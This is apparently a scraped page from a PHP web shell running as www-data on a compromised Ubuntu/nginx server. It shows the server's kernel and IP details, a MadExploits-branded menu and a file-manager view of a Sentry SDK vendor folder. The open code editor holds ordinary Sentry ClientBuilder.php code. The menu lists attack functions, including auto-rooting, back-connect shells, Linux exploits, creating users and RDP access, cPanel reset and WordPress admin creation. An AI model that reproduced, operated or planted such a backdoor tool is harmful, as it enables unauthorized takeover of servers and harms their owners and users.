Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sms-auth /
vendor /
sentry /
sentry /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Context
[ DIR ]
drwxrwxr-x
Exception
[ DIR ]
drwxrwxr-x
HttpClient
[ DIR ]
drwxrwxr-x
Integration
[ DIR ]
drwxrwxr-x
Monolog
[ DIR ]
drwxrwxr-x
Serializer
[ DIR ]
drwxrwxr-x
State
[ DIR ]
drwxrwxr-x
Tracing
[ DIR ]
drwxrwxr-x
Transport
[ DIR ]
drwxrwxr-x
Util
[ DIR ]
drwxrwxr-x
Breadcrumb.php
7.82
KB
-rw-rw-r--
Client.php
10.24
KB
-rw-rw-r--
ClientBuilder.php
5.02
KB
-rw-rw-r--
ClientBuilderInterface.php
2.95
KB
-rw-rw-r--
ClientInterface.php
2.77
KB
-rw-rw-r--
Dsn.php
6.51
KB
-rw-rw-r--
ErrorHandler.php
15.16
KB
-rw-rw-r--
Event.php
15.14
KB
-rw-rw-r--
EventHint.php
1.9
KB
-rw-rw-r--
EventId.php
868
B
-rw-rw-r--
EventType.php
1.19
KB
-rw-rw-r--
ExceptionDataBag.php
2.49
KB
-rw-rw-r--
ExceptionMechanism.php
1.67
KB
-rw-rw-r--
Frame.php
6.63
KB
-rw-rw-r--
FrameBuilder.php
8.03
KB
-rw-rw-r--
Options.php
29.08
KB
-rw-rw-r--
Response.php
1017
B
-rw-rw-r--
ResponseStatus.php
2.97
KB
-rw-rw-r--
SentrySdk.php
1.24
KB
-rw-rw-r--
Severity.php
3.85
KB
-rw-rw-r--
Stacktrace.php
2.4
KB
-rw-rw-r--
StacktraceBuilder.php
2.39
KB
-rw-rw-r--
UserDataBag.php
5.29
KB
-rw-rw-r--
functions.php
4.03
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ClientBuilder.php
<?php declare(strict_types=1); namespace Sentry; use Http\Client\HttpAsyncClient; use Http\Discovery\Psr17FactoryDiscovery; use Jean85\PrettyVersions; use Psr\Log\LoggerInterface; use Sentry\HttpClient\HttpClientFactory; use Sentry\Serializer\RepresentationSerializerInterface; use Sentry\Serializer\Serializer; use Sentry\Serializer\SerializerInterface; use Sentry\Transport\DefaultTransportFactory; use Sentry\Transport\TransportFactoryInterface; use Sentry\Transport\TransportInterface; /** * The default implementation of {@link ClientBuilderInterface}. * * @author Stefano Arlandini <sarlandini@alice.it> */ final class ClientBuilder implements ClientBuilderInterface { /** * @var Options The client options */ private $options; /** * @var TransportFactoryInterface|null The transport factory */ private $transportFactory; /** * @var TransportInterface|null The transport */ private $transport; /** * @var HttpAsyncClient|null The HTTP client */ private $httpClient; /** * @var SerializerInterface|null The serializer to be injected in the client */ private $serializer; /** * @var RepresentationSerializerInterface|null The representation serializer to be injected in the client */ private $representationSerializer; /** * @var LoggerInterface|null A PSR-3 logger to log internal errors and debug messages */ private $logger; /** * @var string The SDK identifier, to be used in {@see Event} and {@see SentryAuth} */ private $sdkIdentifier = Client::SDK_IDENTIFIER; /** * @var string The SDK version of the Client */ private $sdkVersion; /** * Class constructor. * * @param Options|null $options The client options */ public function __construct(Options $options = null) { $this->options = $options ?? new Options(); $this->sdkVersion = PrettyVersions::getVersion('sentry/sentry')->getPrettyVersion(); } /** * {@inheritdoc} */ public static function create(array $options = []): ClientBuilderInterface { return new static(new Options($options)); } /** * {@inheritdoc} */ public function getOptions(): Options { return $this->options; } /** * {@inheritdoc} */ public function setSerializer(SerializerInterface $serializer): ClientBuilderInterface { $this->serializer = $serializer; return $this; } /** * {@inheritdoc} */ public function setRepresentationSerializer(RepresentationSerializerInterface $representationSerializer): ClientBuilderInterface { $this->representationSerializer = $representationSerializer; return $this; } /** * {@inheritdoc} */ public function setLogger(LoggerInterface $logger): ClientBuilderInterface { $this->logger = $logger; return $this; } /** * {@inheritdoc} */ public function setSdkIdentifier(string $sdkIdentifier): ClientBuilderInterface { $this->sdkIdentifier = $sdkIdentifier; return $this; } /** * {@inheritdoc} */ public function setSdkVersion(string $sdkVersion): ClientBuilderInterface { $this->sdkVersion = $sdkVersion; return $this; } /** * {@inheritdoc} */ public function setTransportFactory(TransportFactoryInterface $transportFactory): ClientBuilderInterface { $this->transportFactory = $transportFactory; return $this; } /** * {@inheritdoc} */ public function getClient(): ClientInterface { $this->transport = $this->transport ?? $this->createTransportInstance(); return new Client($this->options, $this->transport, $this->sdkIdentifier, $this->sdkVersion, $this->serializer, $this->representationSerializer, $this->logger); } /** * Creates a new instance of the transport mechanism. */ private function createTransportInstance(): TransportInterface { if (null !== $this->transport) { return $this->transport; } $transportFactory = $this->transportFactory ?? $this->createDefaultTransportFactory(); return $transportFactory->create($this->options); } /** * Creates a new instance of the {@see DefaultTransportFactory} factory. */ private function createDefaultTransportFactory(): DefaultTransportFactory { $streamFactory = Psr17FactoryDiscovery::findStreamFactory(); $httpClientFactory = new HttpClientFactory( Psr17FactoryDiscovery::findUrlFactory(), Psr17FactoryDiscovery::findResponseFactory(), $streamFactory, $this->httpClient, $this->sdkIdentifier, $this->sdkVersion ); return new DefaultTransportFactory( $streamFactory, Psr17FactoryDiscovery::findRequestFactory(), $httpClientFactory, $this->logger ); } }
Close